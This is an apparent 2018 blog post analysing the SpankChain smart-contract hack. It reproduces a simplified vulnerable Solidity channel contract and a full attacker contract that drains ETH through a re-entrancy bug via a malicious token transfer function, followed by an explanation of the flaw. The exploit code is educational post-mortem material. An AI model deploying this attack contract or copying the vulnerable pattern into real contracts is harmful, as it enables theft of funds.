Penny Arcade classic

Lashing out at a Spank Channel

Stork & Crow BV
Published in
3 min readOct 13, 2018

--

or how I wish I could get away from the computer on weekends.

This past week SpankChain, a very interesting and really cool blockchain startup that definitely deserves a lot of respect*, was hacked.

It was a useful hack as it turns out. Not only did the team learned a good lesson about the importance of external auditing but the attacker also uncovered a common attack vector in one of the earliest mainnet implementations of a State Channels contract, and in the end all parties involved got their money (back).

The key finding is that trusting a user-provided contract address to behave as expected based on function signatures alone is a dangerous assumption.

I’ll demonstrate what the attacker’s code could have looked like based on the actual vulnerability but reducing the amount of original code we need to cover to the bare minimum.

pragma solidity 0.4.25;contract HumanStandardToken {
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract SpankChannel {
struct Channel {
address[2] partyAddresses; // 0: partyA 1: partyI
uint256[4] ethBalances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI
uint256[4] erc20Balances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI
uint256[2] initialDeposit; // 0: eth 1: tokens
uint256 sequence;
uint256 confirmTime;
bytes32 VCrootHash;
uint256 LCopenTimeout;
uint256 updateLCtimeout; // when update LC times out
bool isOpen; // true when both parties have joined
bool isUpdateLCSettling;
uint256 numOpenVC;
HumanStandardToken token;
}
mapping(bytes32 => Channel) public Channels;

event DidLCClose (
bytes32 indexed channelId,
uint256 sequence,
uint256 ethBalanceA,
uint256 tokenBalanceA,
uint256 ethBalanceI,
uint256 tokenBalanceI
);
function LCOpenTimeout(bytes32 _lcID) public {
require(msg.sender == Channels[_lcID].partyAddresses[0]
&& Channels[_lcID].isOpen == false
);
require(now > Channels[_lcID].LCopenTimeout);

if(Channels[_lcID].initialDeposit[0] != 0) {
Channels[_lcID].partyAddresses[0].transfer(
Channels[_lcID].ethBalances[0]
);
}
if(Channels[_lcID].initialDeposit[1] != 0) {
require(Channels[_lcID].token.transfer(
Channels[_lcID].partyAddresses[0],
Channels[_lcID].erc20Balances[0]),
"CreateChannel: token transfer failure"
);
}
emit DidLCClose(
_lcID,
0,
Channels[_lcID].ethBalances[0],
Channels[_lcID].erc20Balances[0],
0,
0
);
delete Channels[_lcID];
}

// for illustration purposes, simplified attack setup
constructor() public payable {
//pre-load the state-channel contract on deployment
//the attack will drain all eth balance from this contract
}
function initAttack(bytes32 _lcID) public {
Channels[_lcID].partyAddresses[0] = msg.sender;
Channels[_lcID].token = HumanStandardToken(msg.sender);
Channels[_lcID].isOpen = false;
Channels[_lcID].LCopenTimeout = now - 1 days;
Channels[_lcID].ethBalances[0] = address(this).balance;
Channels[_lcID].initialDeposit[0] = 1 ether;
Channels[_lcID].initialDeposit[1] = 1 ether;
Channels[_lcID].erc20Balances[0] = 1 ether;
}
}
contract Lashing is HumanStandardToken { SpankChannel victim;
bytes32 public lcID = "A wild reentrancy appears";
// payable fallback
function() public payable {
if (address(victim).balance >= msg.value)
attack();
}
// ERC20-ish transfer function (same sig, different logic)
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
if (address(victim).balance >= _value)
_to.transfer(_value);
return true;
}
// 1 - prime the victim contract
function setup(address _victim) public{
victim = SpankChannel(_victim);
victim.initAttack(lcID);
}
// 2 - run attack
function attack() public {
victim.LCOpenTimeout(lcID);
}
// 3 - check if attack was success
function getBalances()
public
view
returns(uint256 vicETH , uint256 myETH)
{
return (
address(victim).balance,
address(this).balance
);
}
// 4 - profit!
function withdraw() public {
msg.sender.transfer(address(this).balance);
}
}

The vulnerability is in the LCOpenTimeout function. The attack makes use of a malign transfer function to re-enter the victim’s contract before the delete Channels[_lcID] line is ever reached. The attacker’s code is called by the Channels[_lcID].token.transfer instruction in the victim’s contract and loops over the Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]) instruction, transferring all of the victim’s ETH balance to the attacker.

That’s right. It’s the same old re-entrancy bug that hit the DAO a couple of years ago. Smart-contract developers need discipline or they risk a good spanking once in a while.

  • Disclaimer: I bought some tokens from this project during their ICO and I believe in this project’s success.

Get Best Software Deals Directly In Your Inbox

--

--